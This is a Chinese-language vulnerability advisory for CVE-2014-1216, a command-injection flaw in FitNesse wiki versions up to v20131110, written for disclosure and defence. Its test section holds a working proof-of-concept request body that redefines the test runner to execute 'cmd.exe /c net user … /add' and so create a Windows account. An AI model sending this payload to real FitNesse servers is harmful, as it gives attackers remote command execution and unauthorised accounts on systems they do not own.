发布日期：2014-03-02
更新日期：2014-03-04

受影响系统：

fitnesse fitnesse < v20131110

描述：

---

BUGTRAQ  ID: 65921
CVE(CAN) ID: CVE-2014-1216

Fitnesse是开源的wiki Web服务器。

Fitnesse v20131110及更早版本没有验证某些编辑页面的语法是否可以过滤外部可执行参数，这可使远程攻击者注入外部命令到应用的工作流内，然后执行任意代码。

<*来源：Jerzy Kramarz
  
  链接：http://www.securityfocus.com/archive/1/531312
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

editTime=1384209902568&amp;amp;ticketId=-7153973663219190464&amp;amp;responder=saveData&amp;amp;helpText=&amp;amp;suites=&amp;amp;__EDITOR__1=textarea&amp;amp;pageContent=%21define+COMMAND_PATTERN+%7B%25m+%7C%7C+%7D%0D%0A%21define+TEST_RUNNER+%7Bcmd.exe+%2Fc+%22net+user+XXXXXXXX+XXXXXXXX+%2Fadd%22%7D%0D%0A%21path+dotnet4%5Cdbfit.dll%0D%0A%21path+dotnet4%5Cdbfit.sqlserver.dll%0D%0A%21path+dotnet2%5C*.dll&amp;amp;save=Save

建议：

---

厂商补丁：

fitnesse
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://fitnesse.org/
参考
https://www.portcullis-security.com/security-research-and-downloads/secu
rity-advisories/cve-2014-1216/

浏览次数：2054
严重程度：0（网友投票）